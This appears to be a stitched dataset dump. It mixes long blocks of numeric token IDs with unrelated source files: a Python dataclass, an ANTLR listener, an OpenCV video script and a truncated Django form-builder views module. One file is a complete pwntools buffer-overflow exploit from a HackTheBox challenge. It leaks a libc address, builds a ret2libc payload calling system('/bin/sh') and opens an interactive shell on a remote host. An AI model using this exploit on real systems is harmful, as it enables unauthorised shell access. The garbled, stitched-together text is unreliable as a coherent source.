29945,
29892,
448,
29906,
29897,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
1402,
5519,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
20526,
518,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29897,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
1402,
518,
29896,
1402,
5519,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
20526,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29897,
13,
13,
1678,
822,
1243,
29918,
5696,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
1402,
518,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
1402,
518,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
1158,
353,
525,
2918,
1495,
13,
13,
1678,
822,
1243,
29918,
1195,
29918,
3317,
29918,
370,
870,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
1402,
518,
29896,
1402,
518,
29896,
1402,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
1375,
29918,
370,
870,
353,
29871,
29947,
29892,
4236,
29918,
370,
870,
353,
448,
29896,
29897,
13,
13,
1678,
822,
1243,
29918,
370,
870,
29918,
29886,
13479,
29918,
27392,
29898,
1311,
1125,
13,
4706,
411,
18116,
29889,
12510,
29918,
25442,
886,
29898,
11651,
353,
5852,
29897,
408,
281,
29901,
13,
9651,
18116,
29889,
12857,
4572,
877,
21936,
1495,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29953,
29900,
29900,
29892,
29871,
29955,
29900,
29900,
1402,
518,
29896,
29892,
29871,
29900,
29889,
29945,
1402,
518,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29945,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29892,
1158,
353,
525,
305,
275,
29939,
742,
7536,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
1402,
18666,
29879,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29953,
29900,
29900,
29892,
29871,
29955,
29900,
29900,
1402,
518,
29896,
29892,
29871,
29900,
29889,
29929,
1402,
518,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29945,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29892,
7536,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29953,
29900,
29900,
29892,
29871,
29955,
29900,
29900,
1402,
518,
29896,
29892,
29871,
29900,
29889,
29929,
1402,
518,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29945,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29892,
18666,
29879,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
9651,
4974,
7431,
29898,
29893,
29897,
1275,
29871,
29941,
13,
9651,
363,
474,
297,
3464,
29898,
2435,
29898,
29893,
22164,
13,
18884,
4974,
338,
1491,
1990,
29898,
29893,
29961,
29875,
1822,
7320,
29892,
4911,
22709,
29897,
13,
13,
1678,
822,
1243,
29918,
29893,
29880,
29918,
957,
6984,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29896,
29892,
29871,
29906,
1402,
518,
29896,
29892,
29871,
29900,
29889,
29953,
1402,
518,
29900,
29889,
29896,
29892,
29871,
29900,
29889,
29906,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29946,
29889,
29945,
29892,
448,
29896,
29897,
13,
13,
1678,
822,
1243,
29918,
370,
870,
29918,
29886,
13479,
29918,
12181,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29953,
29947,
29900,
29892,
29871,
29953,
29929,
29900,
1402,
518,
29896,
29892,
29871,
29896,
1402,
518,
29896,
29892,
29871,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29892,
18666,
29879,
353,
518,
29896,
29892,
29871,
29906,
1402,
7536,
353,
518,
29896,
2314,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
4197,
29953,
29947,
29900,
29892,
29871,
29953,
29929,
29900,
1402,
518,
29896,
29892,
29871,
29896,
1402,
518,
29896,
29892,
29871,
29896,
1402,
29871,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29892,
18666,
29879,
353,
5519,
29896,
29892,
29871,
29906,
20526,
7536,
353,
5519,
29896,
29892,
29871,
29941,
24960,
13,
13,
1678,
822,
1243,
29918,
27392,
29918,
11965,
29918,
370,
870,
29898,
1311,
1125,
13,
4706,
396,
4529,
6862,
10742,
13,
4706,
281,
3137,
353,
7442,
29889,
1915,
3493,
29898,
29953,
29955,
29900,
29889,
29945,
29892,
29871,
29953,
29955,
29896,
29889,
29946,
29892,
29871,
29896,
29900,
29900,
29900,
29897,
13,
4706,
19389,
353,
7442,
29889,
8159,
29898,
2435,
29898,
29893,
3137,
511,
29871,
29896,
29897,
13,
4706,
19389,
15625,
29953,
29955,
29900,
29889,
29929,
29945,
5277,
281,
3137,
29897,
669,
313,
29893,
3137,
529,
29871,
29953,
29955,
29900,
29889,
29929,
29929,
4638,
353,
29871,
29900,
13,
4706,
19389,
29918,
3127,
353,
7442,
29889,
8159,
29898,
2435,
29898,
29893,
3137,
511,
29871,
29900,
29889,
29896,
29897,
13,
4706,
396,
4380,
9177,
363,
25383,
995,
5377,
310,
6856,
13,
4706,
411,
18116,
29889,
12510,
29918,
25442,
886,
29898,
11651,
353,
5852,
29897,
408,
281,
29901,
13,
9651,
18116,
29889,
12857,
4572,
877,
21936,
1495,
13,
9651,
4321,
29918,
2886,
29918,
370,
870,
29889,
9794,
29889,
2886,
29918,
370,
870,
29898,
29893,
3137,
29892,
19389,
29892,
19389,
29918,
3127,
29892,
29871,
29953,
29900,
29900,
29900,
29892,
29871,
29946,
29892,
448,
29941,
29892,
1158,
353,
525,
305,
275,
29939,
742,
4236,
29918,
370,
870,
353,
29871,
29945,
29897,
13,
9651,
4974,
7431,
29898,
29893,
29897,
1275,
29871,
29896,
13,
9651,
4974,
338,
1491,
1990,
29898,
29893,
29961,
29900,
1822,
7320,
29892,
4911,
22709,
29897,
13,
13,
1990,
4321,
29918,
27711,
29918,
1579,
1314,
29901,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
6230,
29918,
1990,
29898,
25932,
1125,
13,
4706,
1067,
29879,
29889,
9794,
353,
27738,
336,
580,
13,
13,
1678,
822,
1243,
29918,
2080,
29918,
12181,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
1917,
2392,
1125,
13,
9651,
4321,
29918,
27711,
29918,
1579,
1314,
29889,
9794,
29889,
27711,
29918,
1579,
1314,
4197,
29896,
1402,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
9651,
4321,
29918,
27711,
29918,
1579,
1314,
29889,
9794,
29889,
27711,
29918,
1579,
1314,
29898,
29896,
29892,
518,
29896,
1402,
29871,
29896,
29892,
29871,
29896,
29897,
13,
9651,
4321,
29918,
27711,
29918,
1579,
1314,
29889,
9794,
29889,
27711,
29918,
1579,
1314,
29898,
29896,
29892,
29871,
29896,
29892,
518,
29896,
1402,
29871,
29896,
29897,
13,
9651,
4321,
29918,
27711,
29918,
1579,
1314,
29889,
9794,
29889,
27711,
29918,
1579,
1314,
29898,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
518,
29896,
2314,
13,
13,
1678,
822,
1243,
29918,
27392,
29918,
370,
870,
749,
29898,
1311,
1125,
13,
4706,
411,
18116,
29889,
12510,
29918,
25442,
886,
29898,
11651,
353,
5852,
29897,
408,
281,
29901,
13,
9651,
18116,
29889,
12857,
4572,
877,
21936,
1495,
13,
9651,
4321,
29918,
27711,
29918,
1579,
1314,
29889,
9794,
29889,
27711,
29918,
1579,
1314,
29898,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29892,
448,
29896,
29897,
13,
9651,
4321,
29918,
27711,
29918,
1579,
1314,
29889,
9794,
29889,
27711,
29918,
1579,
1314,
29898,
29945,
29900,
29900,
29900,
29892,
29871,
29906,
29889,
29945,
29892,
448,
29906,
29892,
29871,
29945,
29897,
13,
9651,
4974,
7431,
29898,
29893,
29897,
1275,
29871,
29906,
13,
9651,
363,
474,
297,
3464,
29898,
2435,
29898,
29893,
22164,
13,
18884,
4974,
338,
1491,
1990,
29898,
29893,
29961,
29875,
1822,
7320,
29892,
4911,
22709,
29897,
13,
2
] |
core_get/configuration/environment_settings.py | core-get/core-get | 0 | 51668 | from dataclasses import dataclass
from pathlib import PurePath
from typing import Optional
@dataclass(frozen=True)
class EnvironmentSettings:
working_dir: PurePath
project_dir: Optional[PurePath]
app_dir: PurePath
cache_dir: PurePath
catalog_url: str
| [
1,
515,
848,
13203,
1053,
848,
1990,
13,
3166,
2224,
1982,
1053,
349,
545,
2605,
13,
3166,
19229,
1053,
28379,
13,
13,
13,
29992,
1272,
1990,
29898,
29888,
307,
2256,
29922,
5574,
29897,
13,
1990,
16738,
9585,
29901,
13,
1678,
1985,
29918,
3972,
29901,
349,
545,
2605,
13,
1678,
2060,
29918,
3972,
29901,
28379,
29961,
29925,
545,
2605,
29962,
13,
1678,
623,
29918,
3972,
29901,
349,
545,
2605,
13,
1678,
7090,
29918,
3972,
29901,
349,
545,
2605,
13,
1678,
16653,
29918,
2271,
29901,
851,
13,
2
] |
XmanLang/XqlListener.py | Vladislav-Zolotaryov/XmlMaster | 0 | 169527 | # Generated from Xql.g4 by ANTLR 4.7.1
from antlr4 import *
if __name__ is not None and "." in __name__:
from .XqlParser import XqlParser
else:
from XqlParser import XqlParser
# This class defines a complete listener for a parse tree produced by XqlParser.
class XqlListener(ParseTreeListener):
# Enter a parse tree produced by XqlParser#r.
def enterR(self, ctx:XqlParser.RContext):
pass
# Exit a parse tree produced by XqlParser#r.
def exitR(self, ctx:XqlParser.RContext):
pass
| [
1,
396,
3251,
630,
515,
1060,
1519,
29889,
29887,
29946,
491,
13764,
14632,
29934,
29871,
29946,
29889,
29955,
29889,
29896,
13,
3166,
3677,
29212,
29946,
1053,
334,
13,
361,
4770,
978,
1649,
338,
451,
6213,
322,
376,
1213,
297,
4770,
978,
1649,
29901,
13,
1678,
515,
869,
29990,
1519,
11726,
1053,
1060,
1519,
11726,
13,
2870,
29901,
13,
1678,
515,
1060,
1519,
11726,
1053,
1060,
1519,
11726,
13,
13,
29937,
910,
770,
17645,
263,
4866,
13254,
363,
263,
6088,
5447,
7371,
491,
1060,
1519,
11726,
29889,
13,
1990,
1060,
1519,
3962,
29898,
12914,
9643,
3962,
1125,
13,
13,
1678,
396,
9041,
263,
6088,
5447,
7371,
491,
1060,
1519,
11726,
29937,
29878,
29889,
13,
1678,
822,
3896,
29934,
29898,
1311,
29892,
12893,
29901,
29990,
1519,
11726,
29889,
29934,
2677,
1125,
13,
4706,
1209,
13,
13,
1678,
396,
25954,
263,
6088,
5447,
7371,
491,
1060,
1519,
11726,
29937,
29878,
29889,
13,
1678,
822,
6876,
29934,
29898,
1311,
29892,
12893,
29901,
29990,
1519,
11726,
29889,
29934,
2677,
1125,
13,
4706,
1209,
13,
13,
13,
2
] |
test/test_step.py | codesaurus97/fruit | 0 | 113269 | from fruit.modules.step import Step
import unittest
| [
1,
515,
15774,
29889,
7576,
29889,
10568,
1053,
16696,
13,
5215,
443,
27958,
13,
13,
2
] |
imagerecognition/LineFollow/test_video.py | uwrov/2017-2019 | 2 | 121973 | import cv2
import time # Remove Later
import numpy as np
video = cv2.VideoCapture("./img/vert2.mp4")
target_low = (0, 0, 0)
target_high = (50, 50, 50)
while True:
ret, frame = video.read()
if not ret:
video = cv2.VideoCapture("./img/vert2.mp4")
continue
image = frame
image = cv2.resize(image, (0,0), fx=0.25, fy=0.25)
image = cv2.GaussianBlur(image, (5,5), 3)
Blackline= cv2.inRange(image, target_low, target_high)
kernel = np.ones((3,3), np.uint8)
Blackline = cv2.erode(Blackline, kernel, iterations=1) # Remove noise
Blackline = cv2.dilate(Blackline, kernel, iterations=9) # Restore box sizes
contours, hierarchy = cv2.findContours(Blackline.copy(),cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)
cv2.drawContours(image, contours, -1, (0, 200, 0), 3)
for c in contours:
x,y,w,h = cv2.boundingRect(c)
cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 255), 3)
cv2.line(image, (x+(w//2), 200), (x+(w//2), 250),(255,0,0),3)
cv2.imshow("orginal with line", image)
time.sleep(0.025)
key = cv2.waitKey(1)
if key == 27:
break
cv2.waitKey(0)
cv2.destroyAllWindows() | [
1,
1053,
13850,
29906,
13,
5215,
931,
396,
15154,
12699,
13,
5215,
12655,
408,
7442,
13,
13,
9641,
353,
13850,
29906,
29889,
15167,
21133,
545,
703,
6904,
2492,
29914,
1765,
29906,
29889,
1526,
29946,
1159,
13,
5182,
29918,
677,
353,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
5182,
29918,
9812,
353,
313,
29945,
29900,
29892,
29871,
29945,
29900,
29892,
29871,
29945,
29900,
29897,
13,
13,
8000,
5852,
29901,
13,
1678,
3240,
29892,
3515,
353,
4863,
29889,
949,
580,
13,
1678,
565,
451,
3240,
29901,
13,
4706,
4863,
353,
13850,
29906,
29889,
15167,
21133,
545,
703,
6904,
2492,
29914,
1765,
29906,
29889,
1526,
29946,
1159,
13,
4706,
6773,
13,
13,
1678,
1967,
353,
3515,
13,
1678,
1967,
353,
13850,
29906,
29889,
21476,
29898,
3027,
29892,
313,
29900,
29892,
29900,
511,
285,
29916,
29922,
29900,
29889,
29906,
29945,
29892,
285,
29891,
29922,
29900,
29889,
29906,
29945,
29897,
13,
1678,
1967,
353,
13850,
29906,
29889,
29954,
17019,
10358,
332,
29898,
3027,
29892,
313,
29945,
29892,
29945,
511,
29871,
29941,
29897,
13,
13,
1678,
6054,
1220,
29922,
13850,
29906,
29889,
262,
6069,
29898,
3027,
29892,
3646,
29918,
677,
29892,
3646,
29918,
9812,
29897,
13,
1678,
8466,
353,
7442,
29889,
2873,
3552,
29941,
29892,
29941,
511,
7442,
29889,
13470,
29947,
29897,
13,
1678,
6054,
1220,
353,
13850,
29906,
29889,
261,
356,
29898,
18700,
1220,
29892,
8466,
29892,
24372,
29922,
29896,
29897,
3986,
396,
15154,
11462,
13,
1678,
6054,
1220,
353,
13850,
29906,
29889,
29881,
309,
403,
29898,
18700,
1220,
29892,
8466,
29892,
24372,
29922,
29929,
29897,
12,
4706,
396,
11654,
487,
3800,
15786,
13,
1678,
640,
2470,
29892,
21277,
353,
13850,
29906,
29889,
2886,
1323,
2470,
29898,
18700,
1220,
29889,
8552,
3285,
11023,
29906,
29889,
1525,
5659,
29918,
29911,
21661,
29892,
11023,
29906,
29889,
3210,
29909,
1177,
29918,
3301,
8618,
29990,
29918,
5425,
3580,
1307,
29897,
13,
1678,
13850,
29906,
29889,
4012,
1323,
2470,
29898,
3027,
29892,
640,
2470,
29892,
448,
29896,
29892,
313,
29900,
29892,
29871,
29906,
29900,
29900,
29892,
29871,
29900,
511,
29871,
29941,
29897,
12,
13,
13,
1678,
363,
274,
297,
640,
2470,
29901,
13,
4706,
921,
29892,
29891,
29892,
29893,
29892,
29882,
353,
13850,
29906,
29889,
9917,
292,
7364,
29898,
29883,
29897,
12,
1678,
13,
4706,
13850,
29906,
29889,
1621,
2521,
29898,
3027,
29892,
313,
29916,
29892,
343,
511,
313,
29916,
29974,
29893,
29892,
343,
29974,
29882,
511,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29906,
29945,
29945,
511,
29871,
29941,
29897,
13,
4706,
13850,
29906,
29889,
1220,
29898,
3027,
29892,
313,
29916,
17108,
29893,
458,
29906,
511,
29871,
29906,
29900,
29900,
511,
313,
29916,
17108,
29893,
458,
29906,
511,
29871,
29906,
29945,
29900,
21336,
29906,
29945,
29945,
29892,
29900,
29892,
29900,
511,
29941,
29897,
13,
13,
1678,
13850,
29906,
29889,
326,
4294,
703,
990,
979,
411,
1196,
613,
1967,
29897,
12,
13,
1678,
931,
29889,
17059,
29898,
29900,
29889,
29900,
29906,
29945,
29897,
13,
1678,
1820,
353,
13850,
29906,
29889,
10685,
2558,
29898,
29896,
29897,
13,
13,
1678,
565,
1820,
1275,
29871,
29906,
29955,
29901,
13,
4706,
2867,
13,
13,
11023,
29906,
29889,
10685,
2558,
29898,
29900,
29897,
13,
11023,
29906,
29889,
20524,
3596,
7685,
580,
2
] |
Challenges/Space/bof_libc_leak.py | limitedeternity/HackTheBox | 0 | 54574 | <reponame>limitedeternity/HackTheBox<filename>Challenges/Space/bof_libc_leak.py
# coding: utf-8
from pwn import *
HOST, PORT = "172.16.17.32", 30203
elf = context.binary = ELF("./space")
r = elf.process()
r.recvuntil(">")
r.sendline(cyclic(1024))
r.wait()
r.close()
core = Coredump("./core")
buffer_size = cyclic_find(core.fault_addr)
# readelf -r ./space
function_to_leak = "read"
def stdout_fn():
try:
return p32(elf.plt["puts"])
except:
return p32(elf.plt["printf"])
leak_payload = ("A" * buffer_size) + stdout_fn() + p32(elf.sym["main"]) + p32(elf.got[function_to_leak])
r = remote(HOST, PORT)
r.recvuntil(">")
r.sendline(leak_payload)
leak = r.recvuntil(">")
leaked_offset = u32(leak[1:5])
print function_to_leak + "@offset:", hex(leaked_offset)
print "Now, search for a libc by this function+offset (https://libc.blukat.me)."
print "Note, that you maybe will need to bruteforce libc versions / functions to leak."
libc = ELF(raw_input("Path to libc: ").strip())
offset = libc.sym[function_to_leak]
libc_base = leaked_offset - offset
system_offset = libc.sym["system"]
exit_offset = libc.sym["exit"]
sh_offset = next(libc.search('/bin/sh\x00'))
ret_payload = ("\x90" * buffer_size) + p32(libc_base + system_offset) + p32(libc_base + exit_offset) + p32(libc_base + sh_offset)
r.sendline(ret_payload)
r.interactive()
| [
1,
529,
276,
1112,
420,
29958,
29044,
300,
824,
537,
29914,
29950,
547,
1576,
3313,
29966,
9507,
29958,
1451,
16047,
267,
29914,
14936,
29914,
833,
29888,
29918,
1982,
29883,
29918,
280,
557,
29889,
2272,
13,
29937,
14137,
29901,
23616,
29899,
29947,
13,
3166,
282,
1233,
1053,
334,
13,
13,
20832,
29892,
349,
8476,
353,
376,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29896,
29955,
29889,
29941,
29906,
613,
29871,
29941,
29900,
29906,
29900,
29941,
13,
761,
353,
3030,
29889,
19541,
353,
14845,
29943,
703,
6904,
3493,
1159,
13,
13,
29878,
353,
560,
29888,
29889,
5014,
580,
13,
29878,
29889,
3757,
29894,
29305,
703,
29958,
1159,
13,
29878,
29889,
6717,
1220,
29898,
8798,
506,
29898,
29896,
29900,
29906,
29946,
876,
13,
29878,
29889,
10685,
580,
13,
29878,
29889,
5358,
580,
13,
13,
3221,
353,
2994,
287,
3427,
703,
6904,
3221,
1159,
13,
9040,
29918,
2311,
353,
5094,
28746,
29918,
2886,
29898,
3221,
29889,
27934,
29918,
10030,
29897,
13,
13,
29937,
1303,
761,
448,
29878,
11431,
3493,
13,
2220,
29918,
517,
29918,
280,
557,
353,
376,
949,
29908,
13,
13,
1753,
27591,
29918,
9144,
7295,
13,
1678,
1018,
29901,
13,
4706,
736,
282,
29941,
29906,
29898,
761,
29889,
572,
29873,
3366,
649,
29879,
20068,
13,
1678,
5174,
29901,
13,
4706,
736,
282,
29941,
29906,
29898,
761,
29889,
572,
29873,
3366,
8124,
20068,
13,
13,
280,
557,
29918,
23813,
353,
4852,
29909,
29908,
334,
6835,
29918,
2311,
29897,
718,
27591,
29918,
9144,
580,
718,
282,
29941,
29906,
29898,
761,
29889,
11967,
3366,
3396,
20068,
718,
282,
29941,
29906,
29898,
761,
29889,
7085,
29961,
2220,
29918,
517,
29918,
280,
557,
2314,
13,
13,
29878,
353,
7592,
29898,
20832,
29892,
349,
8476,
29897,
13,
29878,
29889,
3757,
29894,
29305,
703,
29958,
1159,
13,
29878,
29889,
6717,
1220,
29898,
280,
557,
29918,
23813,
29897,
13,
13,
280,
557,
353,
364,
29889,
3757,
29894,
29305,
703,
29958,
1159,
13,
280,
12535,
29918,
10289,
353,
318,
29941,
29906,
29898,
280,
557,
29961,
29896,
29901,
29945,
2314,
13,
13,
2158,
740,
29918,
517,
29918,
280,
557,
718,
17962,
10289,
29901,
613,
15090,
29898,
280,
12535,
29918,
10289,
29897,
13,
2158,
376,
10454,
29892,
2740,
363,
263,
4303,
29883,
491,
445,
740,
29974,
10289,
313,
991,
597,
1982,
29883,
29889,
2204,
2679,
271,
29889,
1004,
467,
29908,
13,
2158,
376,
9842,
29892,
393,
366,
5505,
674,
817,
304,
1506,
1082,
10118,
4303,
29883,
6910,
847,
3168,
304,
24993,
1213,
13,
13,
1982,
29883,
353,
14845,
29943,
29898,
1610,
29918,
2080,
703,
2605,
304,
4303,
29883,
29901,
376,
467,
17010,
3101,
13,
10289,
353,
4303,
29883,
29889,
11967,
29961,
2220,
29918,
517,
29918,
280,
557,
29962,
13,
1982,
29883,
29918,
3188,
353,
454,
12535,
29918,
10289,
448,
9210,
13,
13,
5205,
29918,
10289,
353,
4303,
29883,
29889,
11967,
3366,
5205,
3108,
13,
13322,
29918,
10289,
353,
4303,
29883,
29889,
11967,
3366,
13322,
3108,
13,
845,
29918,
10289,
353,
2446,
29898,
1982,
29883,
29889,
4478,
11219,
2109,
29914,
845,
29905,
29916,
29900,
29900,
8785,
13,
13,
2267,
29918,
23813,
353,
4852,
29905,
29916,
29929,
29900,
29908,
334,
6835,
29918,
2311,
29897,
718,
282,
29941,
29906,
29898,
1982,
29883,
29918,
3188,
718,
1788,
29918,
10289,
29897,
718,
282,
29941,
29906,
29898,
1982,
29883,
29918,
3188,
718,
6876,
29918,
10289,
29897,
718,
282,
29941,
29906,
29898,
1982,
29883,
29918,
3188,
718,
528,
29918,
10289,
29897,
13,
29878,
29889,
6717,
1220,
29898,
2267,
29918,
23813,
29897,
13,
29878,
29889,
1639,
4925,
580,
13,
2
] |
src/form_builder/views.py | danny8000/collab-form-builder | 4 | 53284 | import csv
import datetime
import re
import json
import unicodedata
from django.shortcuts import render_to_response, get_object_or_404
from django.template import RequestContext
from django.http import HttpResponseRedirect, HttpResponse
from django.core.urlresolvers import reverse
from django.contrib.auth.decorators import login_required
from django.views.decorators.http import require_POST
from django.contrib import messages
from core.models import Person
from core.notifications.email import EmailInfo
from core.notifications.models import Notification
from form_builder.models import Form, Field, FormResponse, AnonymousResponse
from form_builder.forms import FormForm, FieldForm, FieldFormSet, ResponseForm
# Helper functions
def create_templates():
templates = [(field_type, FieldForm(field_type=field_type,
prefix="field_set-{{ i }}"))
for (field_type, _) in Field.FIELD_TYPES]
return templates
def add_message(*args, **kwargs):
if 'fail_silently' not in kwargs:
kwargs['fail_silently'] = True
return messages.add_message(*args, **kwargs)
def response_dict(**kwargs):
return dict({
'active_app': 'Form Builder',
'app_link': reverse('form_builder:index')},
**kwargs)
def normalize(string):
return unicodedata.normalize('NFKD', string).encode('ascii','ignore').strip()
# Views
@login_required
def index(req):
forms = req.user.form_set.all()
return render_to_response('form_builder/index.html',
response_dict(forms=forms),
context_instance=RequestContext(req))
def redirect_to_index_or_form(req, form, fields, action="created"):
if fields:
add_message(req, messages.SUCCESS, "Your form has been " + action +
".")
return HttpResponseRedirect(reverse('form_builder:index'))
else:
add_message(req, messages.INFO, "Your form has been " + action + ". " +
"Before others can fill it out, you need to create some "
"fields.")
return HttpResponseRedirect(reverse('form_builder:edit',
args=[form.slug]))
@login_required
def new(req):
form_form = FormForm(req.POST or None)
field_form_set = FieldFormSet(req.POST or None)
if form_form.is_valid() and field_form_set.is_valid():
custom_form = form_form.save(commit=False)
custom_form.save()
custom_form.owner.add(req.user)
custom_form.save()
field_form_set = FieldFormSet(req.POST, instance=custom_form)
if field_form_set.is_valid():
fields = field_form_set.save()
return redirect_to_index_or_form(req, custom_form, fields)
context = RequestContext(req)
context["formaction"] = "new"
context['compact_header'] = 'compact-header'
return render_to_response(
'form_builder/form.html',
response_dict(form=form_form,
fields=field_form_set,
form_action=reverse('form_builder:new'),
templates=create_templates()),
context_instance=context)
@login_required
def edit(req, id):
# autosave functionality switch, in case something goes wrong
# 0=off; 1=on
use_form_autosave = 0
custom_form = get_object_or_404(Form, owner=req.user, slug=id)
form_form = FormForm(req.POST or None, instance=custom_form)
field_form_set = FieldFormSet(req.POST or None, instance=custom_form)
context = RequestContext(req)
context['compact_header'] = 'compact-header'
context["use_form_autosave"] = use_form_autosave
context['custom_form'] = custom_form
if form_form.is_valid() and field_form_set.is_valid():
custom_form = form_form.save()
if req.POST['owner_stub']:
person = Person.objects.get(stub=req.POST.get('owner_stub', '').strip())
collab_user = person.user
custom_form.owner.add(collab_user)
field_form_set.save()
try:
# In a case where someone created a form with no questions,
# field_order would be blank. This would throw up an error to the
# user, but the form data saves to the database fine. Easiest
# solution is just to ignore the error; the expectation is that
# most users will only save the form after adding at least a few
# questions.
custom_form.set_field_order(req.POST['field_order'].split(","))
except:
pass
# FORM AUTOSAVE
# =============
# Assuming that the form saved properly, send response data back to
# the client. This includes a dictionary containing a current queryset
# of fields on the form.
# This is used by the client to make DOM changes to match the current state of
# the form.
if (use_form_autosave == 1):
time_now = datetime.datetime.now().strftime('%I:%M%p')
field_list = Field.objects.filter(id=custom_form.id)
field_dict = {}
for field_instance in field_list:
field_dict[field_instance.id] = field_instance.label
responsedata = {
"message": "Your form was updated at "
+ re.sub(r'\A0', '', time_now.lower()) + ".",
"formfields": field_dict,
}
return HttpResponse(json.dumps(responsedata),
content_type="application/json")
else:
add_message(req, messages.SUCCESS, "Your form has been updated.")
return HttpResponseRedirect(reverse('form_builder:index'))
elif form_form.errors or field_form_set.errors:
# this code typically executes when someone has added a form field but
# has not filled in a required element, such as the label; it ensures
# that the code continues to run without bombing out
if (use_form_autosave == 1):
field_dict = {}
responsedata = {
"message": "Waiting to update form...",
"formfields": field_dict,
}
return HttpResponse(json.dumps(responsedata),
content_type="application/json")
return render_to_response(
'form_builder/form.html',
response_dict(form=form_form,
fields=field_form_set,
form_action=reverse('form_builder:edit',
args=[custom_form.slug]),
templates=create_templates()),
context_instance=context)
@login_required
def respond(req, id):
user_form = get_object_or_404(Form, slug=id)
already_responded = AnonymousResponse.objects.check_dupe(user_form.id,
req.user.username)
if not already_responded:
if req.GET:
for field in user_form.field_set.all():
if req.GET.has_key(field.label):
field.default_value = req.GET[field.label]
field.save()
response_form = ResponseForm(
req.POST or None, form=user_form, user=req.user)
if not user_form.is_closed and response_form.is_valid():
form_response = response_form.save()
#set notification
title = '%s %s submitted the "%s" form' % \
(req.user.first_name, req.user.last_name, user_form)
url = "/forms/results/%s/" % user_form.slug
if user_form.owner.exists():
if user_form.collect_users:
title = '%s %s submitted the "%s" form' % \
(req.user.first_name, req.user.last_name, user_form)
text_template = 'form_respond.txt'
html_template = 'form_respond.html'
else:
title = 'Someone submitted the "%s" form' % user_form
text_template = 'form_respond_anonymous.txt'
html_template = 'form_respond_anonymous.html'
for o in user_form.owner.all():
if o != req.user:
email_info = EmailInfo(
subject=title,
text_template='form_builder/email/%s' % text_template,
html_template='form_builder/email/%s' % html_template,
to_address=o.email
)
Notification.set_notification(req.user, req.user, "submitted",
user_form, o,
title, url, email_info)
return HttpResponseRedirect(reverse('form_builder:form_thanks',
args=[form_response.pk]))
return render_to_response('form_builder/respond.html',
{'user_form': user_form,
'response_form': response_form},
context_instance=RequestContext(req))
else:
context = RequestContext(req)
context['form_title'] = user_form.title
return render_to_response('form_builder/thanks.html', {}, context_instance=context)
@login_required
def form_thanks(req, id=None):
if id:
form_response = get_object_or_404(FormResponse, pk=id)
return render_to_response('form_builder/thanks.html',
{'form_response': form_response,
'form': form_response.form},
context_instance=RequestContext(req))
else:
form_response = None
return render_to_response('form_builder/thanks.html', {},
context_instance=RequestContext(req))
@login_required
def results(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
req_new = req.GET.get('new', '')
response_count = form.response_set.count()
new_responses = False
for response in form.response_set.filter(archived=False):
